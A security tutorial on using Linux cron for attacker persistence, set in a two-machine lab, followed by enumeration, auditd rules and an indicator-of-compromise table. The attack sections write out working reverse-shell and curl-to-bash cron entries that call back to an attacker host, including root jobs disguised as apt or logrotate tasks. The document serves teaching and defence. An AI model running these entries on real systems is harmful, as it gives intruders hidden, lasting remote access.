
Linux Persistence: Abusing Cron for Survival Across Reboots
How an attacker with shell access turns the native Linux task scheduler into a persistent backdoor that survives reboots, runs silently, and blends with legitimate system operations.
TL;DR
Cron is the native task scheduler on virtually every Linux distribution. It runs commands at specified intervals under the identity of the user who owns the crontab, persists across reboots, and operates without any interactive session. An attacker with shell access can insert a reverse shell, a payload downloader, or a backdoor script into a user's crontab (or, with root access, into system level cron files) and maintain persistent access indefinitely. The scheduled job runs silently in the background, blends with legitimate system automation, and requires no modification to binaries or system services. No vulnerability is exploited: cron works exactly as designed.
- MITRE ATT&CK: T1053.003 — Scheduled Task/Job: Cron
- Tactic: Persistence, Execution, Privilege Escalation
- Platform: Linux
Introduction
Persistence is what separates a one time shell from a reliable foothold. After gaining initial access to a Linux host, an attacker needs a mechanism that re-establishes the connection if the shell dies, the system reboots, or the user logs out. Crontab persistence is one of the oldest and most effective answers to that problem.
The technique works because cron is a core system service that administrators rely on for legitimate automation: log rotation, backups, certificate renewal, monitoring scripts. A single line buried among dozens of legitimate cron entries is easy to overlook, especially on systems where nobody audits crontabs regularly.
The barrier to entry is low. A standard unprivileged user can edit their own crontab without any special permissions, which means that any foothold, no matter how limited, can become a persistent one. With root access, the attacker gains additional options: system wide crontab files, drop-in directories, and periodic script directories that expand both stealth and flexibility.
This post explains how cron works under the hood, walks through the different locations an attacker can abuse, demonstrates practical persistence payloads, and covers enumeration and detection from both the offensive and defensive perspectives.
How Cron Works
The Cron Daemon
Cron is a time based job scheduler that runs as a daemon (crond on RHEL/CentOS/Fedora, cron on Debian/Ubuntu). The daemon starts at boot via systemd (or SysVinit on older systems) and runs continuously in the background. Every minute, it wakes up and checks whether any scheduled job matches the current time. If a match is found, it executes the command under the identity of the user who owns the entry.
The daemon reads job definitions from several locations, which is exactly what makes cron attractive for persistence: there are multiple places to hide, each with different access requirements and visibility.
Crontab Syntax
A crontab entry follows a five field time specification followed by the command to execute:
┌───────────── minute (0–59)
│ ┌───────────── hour (0–23)
│ │ ┌───────────── day of month (1–31)
│ │ │ ┌───────────── month (1–12)
│ │ │ │ ┌───────────── day of week (0–7, where 0 and 7 = Sunday)
│ │ │ │ │
* * * * * command_to_execute
Special characters:
| Character | Meaning | Example |
|---|---|---|
* | Every possible value | * * * * * = every minute |
, | List of values | 0,15,30,45 * * * * = every 15 minutes |
- | Range of values | 9-17 * * * * = hours 9 through 17 |
/ | Step values | */5 * * * * = every 5 minutes |
Shortcut strings are also supported on most distributions:
| Shortcut | Equivalent |
|---|---|
@reboot | Run once at startup |
@hourly | 0 * * * * |
@daily | 0 0 * * * |
@weekly | 0 0 * * 0 |
@monthly | 0 0 1 * * |
The @reboot directive is particularly relevant for persistence because it guarantees execution after every system restart, regardless of timing.
Where Cron Reads Its Jobs
The cron daemon pulls job definitions from several locations. Understanding each one is essential because they differ in access requirements, syntax, visibility, and stealth characteristics.
┌─────────────────────────────────────────────────────┐
│ User crontabs │
│ /var/spool/cron/crontabs/<user> (Debian/Ubuntu) │
│ /var/spool/cron/<user> (RHEL/CentOS) │
│ │
│ → Edited via: crontab -e │
│ → Access: any user can edit their own │
│ → Syntax: NO user field (runs as the owning user) │
│ → Visibility: only root and the owning user │
└─────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────┐
│ System crontab │
│ /etc/crontab │
│ │
│ → Access: root only (write) │
│ → Syntax: includes a USER field after the time │
│ → Visibility: readable by all users │
└─────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────┐
│ Drop-in directory │
│ /etc/cron.d/ │
│ │
│ → Access: root only (write) │
│ → Syntax: same as /etc/crontab (includes user) │
│ → Visibility: readable by all users │
│ → Each file is a separate job definition │
└─────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────┐
│ Periodic directories │
│ /etc/cron.hourly/ │
│ /etc/cron.daily/ │
│ /etc/cron.weekly/ │
│ /etc/cron.monthly/ │
│ │
│ → Access: root only (write) │
│ → Syntax: executable scripts (no cron syntax) │
│ → Executed by run-parts via /etc/crontab │
└─────────────────────────────────────────────────────┘
Execution Context
This is the critical detail for persistence: cron executes each job as the user who owns the entry. A job in root's crontab runs as root. A job in the www-data crontab runs as www-data. Entries in /etc/crontab and /etc/cron.d/ explicitly specify the user in a sixth field between the time specification and the command.
Cron jobs run without an interactive terminal, without the user's full login environment, and without any session on the system. The PATH variable inside a cron job is typically minimal (/usr/bin:/bin), and variables like HOME, SHELL, and MAILTO can be overridden inside the crontab. This means payloads must use absolute paths or explicitly set the necessary environment.
Cron also does not log job output by default on most distributions. Standard output and standard error from cron jobs are sent to the local mail system (if configured) or silently discarded. Attackers exploit this by redirecting output to /dev/null, ensuring no trace of the execution remains in the mail spool.
Lab Configuration
The lab is intentionally minimal: one Linux target and one attacker machine.
Topology
| Machine | Role | OS | IP |
|---|---|---|---|
| TARGET | Compromised host | Ubuntu 22.04 / Debian 12 | 10.10.10.20 |
| ATTACKER | Attack machine | Kali Linux | 10.10.10.10 |
The target simulates a web server or general purpose Linux host where the attacker has obtained an initial shell as a low privilege user (www-data or a standard user). In some scenarios the attacker has escalated to root, which unlocks the system level persistence methods.
Users
www-data Low privilege service account (web server)
devops Standard user with sudo access (simulates escalation target)
root Full system access
Required Tools
On ATTACKER (Kali):
Netcat (nc) or ncat for catching reverse shells, socat for more stable connections, and a web server (python3 -m http.server) for serving payloads.
On TARGET:
No additional tools required. The attack uses only native utilities: crontab, echo, bash, curl, and wget. This is one of the technique's advantages: nothing needs to be uploaded to the target for the persistence mechanism itself.
User Crontab Persistence
This is the most accessible method. Any user on a Linux system can edit their own crontab without elevated privileges, unless cron access has been explicitly restricted through /etc/cron.allow or /etc/cron.deny.
Prerequisites
| Requirement | Detail |
|---|---|
| Access level | Shell as any user |
| Root required | No |
| Permissions needed | Ability to run crontab -e (default: all users) |
| Survives reboot | Yes |
| Visibility | Only root and the owning user can list the crontab |
Adding a Reverse Shell
The most common persistence payload is a reverse shell that connects back to the attacker at regular intervals. If the connection drops, cron re-establishes it on the next cycle.
Method 1: One-liner via crontab -e
Open the crontab editor and add a line:
crontab -e
Append the following entry, which spawns a bash reverse shell every minute:
* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
The command uses bash's built-in /dev/tcp redirection to open a TCP connection to the attacker on port 4444. Standard input, output, and error are all redirected through the socket, producing an interactive shell. The cron daemon executes this every minute, so even if the attacker's listener is not running when the job fires, the next execution will connect as soon as the listener is up.
Method 2: Non-interactive insertion via command line
In a non-interactive shell (web shell, bind shell, limited reverse shell), the crontab -e approach does not work because there is no text editor available. Instead, pipe the new entry directly:
(crontab -l 2>/dev/null; echo '* * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"') | crontab -
This command reads the current crontab (crontab -l), appends the new line, and pipes the result back to crontab - which installs it as the new crontab. The 2>/dev/null suppresses the error message if no crontab exists yet.
Method 3: Netcat reverse shell
On systems where bash does not support /dev/tcp (some minimal installations), use netcat instead:
(crontab -l 2>/dev/null; echo '* * * * * rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.10 4444 > /tmp/f') | crontab -
This creates a named pipe (mkfifo), connects it to a shell, and pipes the output through netcat. The rm /tmp/f at the beginning cleans up the pipe from the previous execution so the job can run repeatedly.
Method 4: Payload download and execute
Instead of embedding the payload directly in the crontab entry, download and execute a script from the attacker's server. This allows modifying the payload without touching the target's crontab:
(crontab -l 2>/dev/null; echo '*/5 * * * * curl http://10.10.10.10/payload.sh | bash') | crontab -
The cron job downloads payload.sh from the attacker every 5 minutes and pipes it directly to bash. The payload never touches disk (unless the script itself writes files), which avoids leaving artifacts in the filesystem.
Using @reboot for Startup Persistence
The @reboot directive runs a command once every time the cron daemon starts, which typically means after a system reboot:
(crontab -l 2>/dev/null; echo '@reboot /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"') | crontab -
This is often combined with a periodic entry: @reboot fires immediately after boot, and a */5 * * * * entry maintains the connection afterward.
Catching the Shell
On the attacker machine, start a listener before the cron job fires:
nc -lvnp 4444
Expected output when the reverse shell connects:
listening on [any] 4444 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.20] 48372
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
www-data@target:~$
The cannot set terminal process group and no job control messages are normal for a cron-launched shell. Upgrade to a fully interactive TTY with:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Verification
Confirm the crontab entry was installed:
crontab -l
* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
Verify the cron service is running:
systemctl status cron # Debian/Ubuntu
systemctl status crond # RHEL/CentOS
Check the cron log for execution evidence:
grep CRON /var/log/syslog # Debian/Ubuntu
grep CRON /var/log/cron # RHEL/CentOS
journalctl -u cron --since '5 min ago' # systemd
System Crontab Persistence (/etc/crontab)
When the attacker has root access, the system crontab at /etc/crontab becomes available. This file has a different syntax from user crontabs: it includes a user field that specifies which user the command runs as.
Prerequisites
| Requirement | Detail |
|---|---|
| Access level | Root shell |
| Root required | Yes |
| File location | /etc/crontab |
| Syntax | Includes user field |
| Survives reboot | Yes |
| Visibility | Readable by all users |
The visibility is an important trade-off. Unlike user crontabs (which are only visible to the owning user and root), /etc/crontab is world-readable. Any user on the system can inspect its contents, which makes this method less stealthy than a user crontab.
Syntax Difference
User crontab:
* * * * * /bin/bash -c 'command'
System crontab (/etc/crontab):
* * * * * root /bin/bash -c 'command'
^^^^
user field
Forgetting the user field is a common mistake. Without it, cron interprets the command incorrectly and the job either fails silently or runs as the wrong user.
Adding Persistence to /etc/crontab
Append a reverse shell entry running as root:
echo '* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/crontab
Or a payload downloader:
echo '*/5 * * * * root curl -s http://10.10.10.10/payload.sh | bash' >> /etc/crontab
The advantage of running as root through /etc/crontab is obvious: the reverse shell arrives with full system privileges. The trade-off is that any user on the system can read the file and notice the malicious entry.
Blending with Existing Entries
A default /etc/crontab on Debian/Ubuntu typically looks like this:
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
A skilled attacker avoids appending an obvious reverse shell at the end. Instead, they might insert a line that visually resembles a legitimate system job:
echo '*/10 * * * * root test -x /usr/lib/apt/apt.systemd.daily && /usr/lib/apt/apt.systemd.daily update 2>/dev/null || curl -s http://10.10.10.10/p | bash' >> /etc/crontab
At a glance, this looks like a standard apt maintenance job. The || operator means: if the first command fails (or if /usr/lib/apt/apt.systemd.daily does not exist), execute the fallback, which downloads and runs the payload. On a real system where the apt script exists, the attacker would place the payload in a path that mimics a system binary.
Verification
cat /etc/crontab
The newly added entry should appear at the end of the file. Check that the cron daemon picked up the change:
grep -i crontab /var/log/syslog | tail -5
Expected log entry:
Sep 30 14:01:01 target CRON[12345]: (root) CMD (/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1")
Cron Drop-in Persistence (/etc/cron.d/)
The /etc/cron.d/ directory is arguably the best location for stealthy root level persistence. Each file in this directory is treated as an independent crontab with system crontab syntax (including the user field). The attacker creates a new file rather than modifying an existing one, which avoids touching files that administrators or monitoring tools might track for changes.
Prerequisites
| Requirement | Detail |
|---|---|
| Access level | Root shell |
| Root required | Yes |
| File location | /etc/cron.d/<filename> |
| Syntax | Same as /etc/crontab (includes user field) |
| Survives reboot | Yes |
| Visibility | Readable by all users |
Why /etc/cron.d/ Is Effective for Persistence
Package managers use /etc/cron.d/ extensively. On a typical Debian/Ubuntu system, this directory contains files like e2scrub_all, php, sysstat, certbot, and others installed by system packages. A file named something like apt-compat or logcheck-update blends naturally into this collection.
Additionally, unlike /etc/crontab (which is a single file where modifications are obvious), /etc/cron.d/ contains many independent files. Administrators who review /etc/crontab periodically might never look inside /etc/cron.d/ at all.
Creating a Persistent Drop-in File
Create a file with a name that looks like a legitimate system package job:
echo '* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' > /etc/cron.d/apt-compat
For a more subtle approach, include the standard cron environment variables that legitimate drop-in files typically have:
cat > /etc/cron.d/logrotate-update << 'EOF'
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
*/10 * * * * root /usr/lib/update-notifier/update-motd-updates-available 2>/dev/null; curl -s http://10.10.10.10/p | bash
EOF
This file mirrors the format of legitimate system cron files: it sets the SHELL and PATH variables, runs at a reasonable interval (every 10 minutes), and the command starts with a legitimate system binary call before the payload. The semicolon chains the malicious command after the legitimate one.
File Permission Requirements
Cron enforces specific permission checks on files in /etc/cron.d/. The file must be:
- Owned by root
- Not world-writable (no
o+wpermission) - Not a symlink (on most distributions)
If these conditions are not met, cron silently ignores the file. Set the correct permissions explicitly:
chown root:root /etc/cron.d/logrotate-update
chmod 644 /etc/cron.d/logrotate-update
Verification
List the directory and confirm the file exists alongside legitimate entries:
ls -la /etc/cron.d/
Expected output:
total 28
drwxr-xr-x 2 root root 4096 Sep 30 14:05 .
drwxr-xr-x 100 root root 4096 Sep 30 12:00 ..
-rw-r--r-- 1 root root 285 Apr 15 2024 e2scrub_all
-rw-r--r-- 1 root root 165 Sep 30 14:05 logrotate-update
-rw-r--r-- 1 root root 190 Jan 3 2024 php
-rw-r--r-- 1 root root 396 Mar 12 2024 sysstat
The logrotate-update file sits naturally among the legitimate entries. Its timestamp is the only potential indicator, and on an actively maintained system, files in /etc/cron.d/ are updated regularly by package managers.
Periodic Directory Persistence (/etc/cron.daily, hourly, etc.)
Linux distributions provide four directories for scripts that run at fixed intervals:
| Directory | Execution frequency | Typical use |
|---|---|---|
/etc/cron.hourly/ | Every hour | Quick health checks, cache cleanup |
/etc/cron.daily/ | Once per day | Log rotation, package updates, backups |
/etc/cron.weekly/ | Once per week | Filesystem checks, report generation |
/etc/cron.monthly/ | Once per month | Quota reports, archive cleanup |
These directories are managed by run-parts, which is invoked from /etc/crontab or by anacron. The key difference from the previous methods is that files here are not crontab entries. They are executable scripts with no cron time syntax. run-parts simply executes every file in the directory that meets its naming criteria.
Prerequisites
| Requirement | Detail |
|---|---|
| Access level | Root shell |
| Root required | Yes |
| File type | Executable script (not a crontab entry) |
| Naming restriction | No dots (.) or other special characters in filename |
| Survives reboot | Yes |
| Execution interval | Depends on directory (hourly, daily, weekly, monthly) |
The Naming Trap
run-parts silently skips files whose names contain certain characters. On Debian/Ubuntu, filenames must match the regex ^[a-zA-Z0-9_-]+$. A file named backdoor.sh (containing a dot) will be silently ignored. Name the file without any extension:
# Correct — will be executed
/etc/cron.daily/logrotate-helper
# Wrong — silently skipped by run-parts
/etc/cron.daily/logrotate-helper.sh
This is a common mistake that causes the persistence to fail without any error message. Verify which files run-parts would execute:
run-parts --test /etc/cron.daily/
Creating a Persistent Script
Create a script in /etc/cron.daily/ that downloads and executes a payload:
cat > /etc/cron.daily/apt-compat-check << 'SCRIPT'
#!/bin/sh
curl -s http://10.10.10.10/daily.sh | sh
SCRIPT
chmod 755 /etc/cron.daily/apt-compat-check
Or a script that directly establishes a reverse shell:
cat > /etc/cron.hourly/sysstat-collect << 'SCRIPT'
#!/bin/sh
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
SCRIPT
chmod 755 /etc/cron.hourly/sysstat-collect
The #!/bin/sh shebang line is important. run-parts invokes the script without specifying an interpreter, so the script must declare its own.
Trade-offs
The periodic directories offer strong stealth because cron.daily scripts are expected on every Linux system and their names blend with system maintenance. However, the execution frequency is a significant limitation. /etc/cron.daily/ scripts typically run once per day (often at 6:25 AM on Debian, configured in /etc/crontab). This means the attacker's payload might not execute for up to 24 hours after placement. For faster callbacks, /etc/cron.hourly/ is more practical, or the attacker should combine a periodic script with a user crontab entry that runs more frequently.
Verification
List the directory contents and verify the file is present and executable:
ls -la /etc/cron.daily/
Test that run-parts recognizes the file:
run-parts --test /etc/cron.daily/
The output should include the attacker's script path alongside legitimate scripts like logrotate, apt-compat, and dpkg.
Enumeration
Enumeration serves two perspectives. An attacker landing on a box wants to discover existing cron jobs to understand what automation is running and identify persistence opportunities. A defender or incident responder wants to identify malicious cron entries across all users and system locations.
As a Low-Privilege User
List your own crontab:
crontab -l
Read the system crontab (world-readable):
cat /etc/crontab
List system cron drop-in files:
ls -la /etc/cron.d/
Read every file in the drop-in directory:
for f in /etc/cron.d/*; do echo "=== $f ==="; cat "$f"; echo; done
List scripts in the periodic directories:
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ 2>/dev/null
Check which systemd timers might also be running scheduled tasks (some distributions use timers alongside or instead of cron):
systemctl list-timers --all
As Root (Full Audit)
List every user's crontab on the system:
for user in $(cut -d: -f1 /etc/passwd); do
crontab_output=$(crontab -u "$user" -l 2>/dev/null)
if [ -n "$crontab_output" ]; then
echo "=== $user ==="
echo "$crontab_output"
echo
fi
done
Alternatively, on Debian/Ubuntu based systems, user crontabs are stored as files under /var/spool/cron/crontabs/ and can be read directly:
ls -la /var/spool/cron/crontabs/
cat /var/spool/cron/crontabs/*
On RHEL/CentOS/Fedora, the path is /var/spool/cron/:
ls -la /var/spool/cron/
cat /var/spool/cron/*
Complete Sweep (One-liner)
A single sweep that covers every cron location and highlights entries containing common persistence indicators:
echo "=== User crontabs ==="; for u in $(cut -d: -f1 /etc/passwd); do c=$(crontab -u "$u" -l 2>/dev/null); [ -n "$c" ] && echo "--- $u ---" && echo "$c"; done; echo; echo "=== /etc/crontab ==="; cat /etc/crontab; echo; echo "=== /etc/cron.d/ ==="; for f in /etc/cron.d/*; do echo "--- $f ---"; cat "$f"; done; echo; echo "=== Periodic scripts ==="; for d in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly; do echo "--- $d ---"; ls -la "$d/" 2>/dev/null; done
Pipe the output through grep to flag suspicious patterns:
grep -rn 'bash -i\|/dev/tcp\|nc \|ncat \|curl.*|.*bash\|wget.*|.*sh\|python.*socket\|perl.*socket\|mkfifo\|socat' \
/etc/crontab /etc/cron.d/ /var/spool/cron/ 2>/dev/null
Automated Tools
Several post-exploitation enumeration tools check cron automatically:
| Tool | Cron check |
|---|---|
| linPEAS | Enumerates all cron locations, highlights writable cron files and suspicious entries |
| LinEnum | Lists crontabs, cron directories, and running cron jobs |
| pspy | Monitors process creation in real time without root, catching cron job executions as they happen |
pspy deserves special mention because it does not require root access and catches cron jobs at execution time rather than parsing files. This is valuable because some persistence mechanisms (like jobs installed by another user whose crontab the current user cannot read) are invisible through file enumeration but visible when they execute:
./pspy64
Expected output when a cron job fires:
2026/09/30 14:01:00 CMD: UID=0 PID=12345 | /usr/sbin/CRON -f
2026/09/30 14:01:00 CMD: UID=0 PID=12346 | /bin/sh -c /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
2026/09/30 14:01:00 CMD: UID=0 PID=12347 | /bin/bash -i
The UID=0 indicates the job ran as root. A reverse shell to an external IP in a cron context is a clear indicator of compromise.
Detection and Defense
Logging and Monitoring
Cron logs every job execution to syslog. On Debian/Ubuntu, entries go to /var/log/syslog. On RHEL/CentOS, they go to /var/log/cron. These logs record the user, the PID, and the command that was executed.
Critical log entries to monitor:
Sep 30 14:01:01 target CRON[12345]: (www-data) CMD (/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1')
Sep 30 14:01:01 target CRON[12346]: (root) CMD (curl -s http://10.10.10.10/p | bash)
Cron also logs crontab modifications:
Sep 30 13:55:00 target crontab[11234]: (www-data) REPLACE (www-data)
Sep 30 13:55:00 target crontab[11234]: (www-data) END EDIT
The REPLACE event indicates that a user's crontab was modified, which is a valuable detection signal. Forward these logs to a SIEM and alert on crontab changes for service accounts and system users that should not be modifying their own crontabs.
File Integrity Monitoring
Tools like AIDE, OSSEC, Tripwire, or auditd can monitor changes to cron-related files and directories:
| Path | What to monitor |
|---|---|
/etc/crontab | Any modification |
/etc/cron.d/ | File creation, modification, deletion |
/etc/cron.hourly/ | File creation, modification |
/etc/cron.daily/ | File creation, modification |
/etc/cron.weekly/ | File creation, modification |
/etc/cron.monthly/ | File creation, modification |
/var/spool/cron/ | File creation, modification (RHEL) |
/var/spool/cron/crontabs/ | File creation, modification (Debian) |
An auditd rule to monitor crontab changes:
# Monitor the crontab binary for executions
auditctl -w /usr/bin/crontab -p x -k crontab_modification
# Monitor the system crontab
auditctl -w /etc/crontab -p wa -k crontab_modification
# Monitor the drop-in directory
auditctl -w /etc/cron.d/ -p wa -k cron_dropin_modification
# Monitor user crontab spools
auditctl -w /var/spool/cron/ -p wa -k user_crontab_modification
To make these rules persistent across reboots, add them to /etc/audit/rules.d/cron.rules.
Indicators of Compromise
Common patterns in malicious cron entries that defenders should search for:
| Pattern | Indicator |
|---|---|
/dev/tcp/ | Bash reverse shell |
nc or ncat with an IP and port | Netcat reverse shell |
mkfifo | Named pipe for shell redirection |
curl | bash or wget | sh | Remote payload download and execution |
python -c with socket imports | Python reverse shell |
perl -e with socket calls | Perl reverse shell |
socat with TCP connect | Socat reverse shell |
@reboot with a network connection | Boot persistence with callback |
Entries pointing to /tmp/, /dev/shm/ | Scripts in world-writable locations |
| Base64 encoded commands | Obfuscation attempt |
References
- MITRE ATT&CK T1053.003 — Scheduled Task/Job: Cron
- crontab(5) man page — File formats: user crontab syntax
- crontab(1) man page — User commands: maintain crontab files
- cron(8) man page — Daemon for executing scheduled commands
- run-parts(8) man page — Run scripts or programs in a directory
- HackTricks — Linux Persistence: Cron
- PayloadsAllTheThings — Linux Persistence
- pspy — Unprivileged Linux process snooping
- PEASS-ng / linPEAS
- auditd — Linux Audit Framework